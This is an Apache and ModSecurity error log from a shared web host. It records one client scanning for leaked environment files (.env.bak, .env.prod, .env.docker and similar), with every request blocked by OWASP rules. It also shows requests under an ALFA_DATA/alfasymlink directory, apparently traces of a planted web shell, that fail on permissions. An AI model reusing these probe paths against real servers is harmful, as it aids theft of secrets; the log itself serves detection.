[Sun Oct 25 09:23:22.727492 2026] [security2:error] [pid 2834006:tid 2834006] [client 34.151.255.162:52968] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "arg1.sherwinpinturas.com"] [uri "/.env.remote"] [unique_id "at4CyhD7bhykmI5PXOwDNgAAAAo"]
[Sun Oct 25 09:23:22.727889 2026] [security2:error] [pid 2834006:tid 2834006] [client 34.151.255.162:52968] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "arg1.sherwinpinturas.com"] [uri "/.env.remote"] [unique_id "at4CyhD7bhykmI5PXOwDNgAAAAo"]
[Sun Oct 25 09:23:22.917160 2026] [security2:error] [pid 2834006:tid 2834006] [client 34.151.255.162:52968] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.bak"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "arg1.sherwinpinturas.com"] [uri "/.env.bak"] [unique_id "at4CyhD7bhykmI5PXOwDNwAAAAo"]
[Sun Oct 25 09:23:22.917349 2026] [security2:error] [pid 2834006:tid 2834006] [client 34.151.255.162:52968] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "arg1.sherwinpinturas.com"] [uri "/.env.bak"] [unique_id "at4CyhD7bhykmI5PXOwDNwAAAAo"]
[Sun Oct 25 09:23:22.917606 2026] [security2:error] [pid 2834006:tid 2834006] [client 34.151.255.162:52968] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "arg1.sherwinpinturas.com"] [uri "/.env.bak"] [unique_id "at4CyhD7bhykmI5PXOwDNwAAAAo"]
[Sun Oct 25 09:23:23.074433 2026] [security2:error] [pid 2834006:tid 2834006] [client 34.151.255.162:52968] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.backup"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "arg1.sherwinpinturas.com"] [uri "/.env.backup"] [unique_id "at4CyxD7bhykmI5PXOwDOAAAAAo"]
[Sun Oct 25 09:23:23.074715 2026] [security2:error] [pid 2834006:tid 2834006] [client 34.151.255.162:52968] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "arg1.sherwinpinturas.com"] [uri "/.env.backup"] [unique_id "at4CyxD7bhykmI5PXOwDOAAAAAo"]
[Sun Oct 25 09:23:23.074990 2026] [security2:error] [pid 2834006:tid 2834006] [client 34.151.255.162:52968] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "arg1.sherwinpinturas.com"] [uri "/.env.backup"] [unique_id "at4CyxD7bhykmI5PXOwDOAAAAAo"]
[Sun Oct 25 09:23:23.243565 2026] [security2:error] [pid 2834006:tid 2834006] [client 34.151.255.162:52968] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.save"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "arg1.sherwinpinturas.com"] [uri "/.env.save"] [unique_id "at4CyxD7bhykmI5PXOwDOQAAAAo"]
[Sun Oct 25 09:23:23.243848 2026] [security2:error] [pid 2834006:tid 2834006] [client 34.151.255.162:52968] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "arg1.sherwinpinturas.com"] [uri "/.env.save"] [unique_id "at4CyxD7bhykmI5PXOwDOQAAAAo"]
[Sun Oct 25 09:23:23.244234 2026] [security2:error] [pid 2834006:tid 2834006] [client 34.151.255.162:52968] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "arg1.sherwinpinturas.com"] [uri "/.env.save"] [unique_id "at4CyxD7bhykmI5PXOwDOQAAAAo"]
[Sun Oct 25 09:23:23.495398 2026] [security2:error] [pid 2834006:tid 2834006] [client 34.151.255.162:52968] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.old"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "arg1.sherwinpinturas.com"] [uri "/.env.old"] [unique_id "at4CyxD7bhykmI5PXOwDOgAAAAo"]
[Sun Oct 25 09:23:23.495701 2026] [security2:error] [pid 2834006:tid 2834006] [client 34.151.255.162:52968] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "arg1.sherwinpinturas.com"] [uri "/.env.old"] [unique_id "at4CyxD7bhykmI5PXOwDOgAAAAo"]
[Sun Oct 25 09:23:23.496027 2026] [security2:error] [pid 2834006:tid 2834006] [client 34.151.255.162:52968] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "arg1.sherwinpinturas.com"] [uri "/.env.old"] [unique_id "at4CyxD7bhykmI5PXOwDOgAAAAo"]
[Sun Oct 25 09:23:23.809118 2026] [security2:error] [pid 2834006:tid 2834006] [client 34.151.255.162:52968] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.sample"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "arg1.sherwinpinturas.com"] [uri "/.env.sample"] [unique_id "at4CyxD7bhykmI5PXOwDOwAAAAo"]
[Sun Oct 25 09:23:23.809357 2026] [security2:error] [pid 2834006:tid 2834006] [client 34.151.255.162:52968] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "arg1.sherwinpinturas.com"] [uri "/.env.sample"] [unique_id "at4CyxD7bhykmI5PXOwDOwAAAAo"]
[Sun Oct 25 09:23:23.809734 2026] [security2:error] [pid 2834006:tid 2834006] [client 34.151.255.162:52968] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "arg1.sherwinpinturas.com"] [uri "/.env.sample"] [unique_id "at4CyxD7bhykmI5PXOwDOwAAAAo"]
[Sun Oct 25 09:23:23.936642 2026] [security2:error] [pid 2834006:tid 2834006] [client 34.151.255.162:52968] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.example"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "arg1.sherwinpinturas.com"] [uri "/.env.example"] [unique_id "at4CyxD7bhykmI5PXOwDPAAAAAo"]
[Sun Oct 25 09:23:23.936893 2026] [security2:error] [pid 2834006:tid 2834006] [client 34.151.255.162:52968] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "arg1.sherwinpinturas.com"] [uri "/.env.example"] [unique_id "at4CyxD7bhykmI5PXOwDPAAAAAo"]
[Sun Oct 25 09:23:23.937210 2026] [security2:error] [pid 2834006:tid 2834006] [client 34.151.255.162:52968] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "arg1.sherwinpinturas.com"] [uri "/.env.example"] [unique_id "at4CyxD7bhykmI5PXOwDPAAAAAo"]
[Sun Oct 25 09:23:24.079007 2026] [security2:error] [pid 2834006:tid 2834006] [client 34.151.255.162:52968] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.dev"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "arg1.sherwinpinturas.com"] [uri "/.env.dev"] [unique_id "at4CzBD7bhykmI5PXOwDPQAAAAo"]
[Sun Oct 25 09:23:24.079257 2026] [security2:error] [pid 2834006:tid 2834006] [client 34.151.255.162:52968] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "arg1.sherwinpinturas.com"] [uri "/.env.dev"] [unique_id "at4CzBD7bhykmI5PXOwDPQAAAAo"]
[Sun Oct 25 09:23:24.079604 2026] [security2:error] [pid 2834006:tid 2834006] [client 34.151.255.162:52968] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "arg1.sherwinpinturas.com"] [uri "/.env.dev"] [unique_id "at4CzBD7bhykmI5PXOwDPQAAAAo"]
[Sun Oct 25 09:23:24.221609 2026] [security2:error] [pid 2834006:tid 2834006] [client 34.151.255.162:52968] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.prod"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "arg1.sherwinpinturas.com"] [uri "/.env.prod"] [unique_id "at4CzBD7bhykmI5PXOwDPgAAAAo"]
[Sun Oct 25 09:23:24.221879 2026] [security2:error] [pid 2834006:tid 2834006] [client 34.151.255.162:52968] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "arg1.sherwinpinturas.com"] [uri "/.env.prod"] [unique_id "at4CzBD7bhykmI5PXOwDPgAAAAo"]
[Sun Oct 25 09:23:24.222230 2026] [security2:error] [pid 2834006:tid 2834006] [client 34.151.255.162:52968] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "arg1.sherwinpinturas.com"] [uri "/.env.prod"] [unique_id "at4CzBD7bhykmI5PXOwDPgAAAAo"]
[Sun Oct 25 09:23:24.378486 2026] [security2:error] [pid 2834006:tid 2834006] [client 34.151.255.162:52968] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.stage"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "arg1.sherwinpinturas.com"] [uri "/.env.stage"] [unique_id "at4CzBD7bhykmI5PXOwDPwAAAAo"]
[Sun Oct 25 09:23:24.378737 2026] [security2:error] [pid 2834006:tid 2834006] [client 34.151.255.162:52968] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "arg1.sherwinpinturas.com"] [uri "/.env.stage"] [unique_id "at4CzBD7bhykmI5PXOwDPwAAAAo"]
[Sun Oct 25 09:23:24.379078 2026] [security2:error] [pid 2834006:tid 2834006] [client 34.151.255.162:52968] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "arg1.sherwinpinturas.com"] [uri "/.env.stage"] [unique_id "at4CzBD7bhykmI5PXOwDPwAAAAo"]
[Sun Oct 25 09:23:24.582118 2026] [security2:error] [pid 2834006:tid 2834006] [client 34.151.255.162:52968] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.ci"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "arg1.sherwinpinturas.com"] [uri "/.env.ci"] [unique_id "at4CzBD7bhykmI5PXOwDQAAAAAo"]
[Sun Oct 25 09:23:24.582354 2026] [security2:error] [pid 2834006:tid 2834006] [client 34.151.255.162:52968] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "arg1.sherwinpinturas.com"] [uri "/.env.ci"] [unique_id "at4CzBD7bhykmI5PXOwDQAAAAAo"]
[Sun Oct 25 09:23:24.582710 2026] [security2:error] [pid 2834006:tid 2834006] [client 34.151.255.162:52968] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "arg1.sherwinpinturas.com"] [uri "/.env.ci"] [unique_id "at4CzBD7bhykmI5PXOwDQAAAAAo"]
[Sun Oct 25 09:23:24.805470 2026] [security2:error] [pid 2834006:tid 2834006] [client 34.151.255.162:52968] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.docker"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "arg1.sherwinpinturas.com"] [uri "/.env.docker"] [unique_id "at4CzBD7bhykmI5PXOwDQQAAAAo"]
[Sun Oct 25 09:23:24.805747 2026] [security2:error] [pid 2834006:tid 2834006] [client 34.151.255.162:52968] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "arg1.sherwinpinturas.com"] [uri "/.env.docker"] [unique_id "at4CzBD7bhykmI5PXOwDQQAAAAo"]
[Sun Oct 25 09:23:24.806160 2026] [security2:error] [pid 2834006:tid 2834006] [client 34.151.255.162:52968] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "arg1.sherwinpinturas.com"] [uri "/.env.docker"] [unique_id "at4CzBD7bhykmI5PXOwDQQAAAAo"]
[Sun Oct 25 09:23:34.135064 2026] [ssl:error] [pid 2834008:tid 2834008] (70014)End of file found: [client 3.230.69.161:16402] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 09:23:38.119908 2026] [core:error] [pid 2834025:tid 2834025] (13)Permission denied: [client 52.6.97.88:31883] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/class/tty/tty50/subsystem/console/subsystem/ttyS0/uartclk
[Sun Oct 25 09:23:40.895711 2026] [core:error] [pid 2834020:tid 2834020] (13)Permission denied: [client 85.208.96.203:30298] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/anon_vma/ctor
[Sun Oct 25 09:23:46.159403 2026] [ssl:error] [pid 2815605:tid 2815605] (70014)End of file found: [client 54.152.163.42:54699] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 09:23:58.128946 2026] [core:error] [pid 2834019:tid 2834019] (13)Permission denied: [client 100.24.167.60:3339] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/class/tty/tty50/subsystem/tty1/subsystem/ttyS3/flags
[Sun Oct 25 09:24:06.477462 2026] [ssl:error] [pid 2834020:tid 2834020] (70014)End of file found: [client 3.212.205.90:21734] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 09:24:10.151306 2026] [security2:error] [pid 2826774:tid 2826774] [client 50.16.72.185:44934] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/proc/self/root/sys/class/input/event0/subsystem/input1/device/firmware_node/subsystem/devices/PNP0A03:00/PNP0A06:00/"] [unique_id "at4C-vWU2HQBncZeY47ELwAAAAQ"]
[Sun Oct 25 09:24:10.151346 2026] [security2:error] [pid 2826774:tid 2826774] [client 50.16.72.185:44934] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/proc/self/root/sys/class/input/event0/subsystem/input1/device/firmware_node/subsystem/devices/PNP0A03:00/PNP0A06:00/"] [unique_id "at4C-vWU2HQBncZeY47ELwAAAAQ"]
[Sun Oct 25 09:24:11.885423 2026] [core:crit] [pid 2815605:tid 2815605] (13)Permission denied: [client 170.106.107.87:56306] AH00529: /home/cursodeventas/public_html/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/cursodeventas/public_html/' is executable
[Sun Oct 25 09:24:14.181121 2026] [core:error] [pid 2815602:tid 2815602] (13)Permission denied: [client 3.214.176.44:59450] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/bus/memory/devices/memory17/node0/cpu1/driver/bind
[Sun Oct 25 09:24:22.156077 2026] [ssl:error] [pid 2834006:tid 2834006] (70014)End of file found: [client 18.207.89.138:20349] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 09:24:26.213875 2026] [ssl:error] [pid 2834008:tid 2834008] (70014)End of file found: [client 54.92.171.106:1316] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 09:24:30.141057 2026] [ssl:error] [pid 2834019:tid 2834019] (70014)End of file found: [client 54.83.180.239:19383] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 09:24:42.123159 2026] [ssl:error] [pid 2826774:tid 2826774] (70014)End of file found: [client 3.89.176.255:46799] AH02013: coalesce failed to read from data bucket
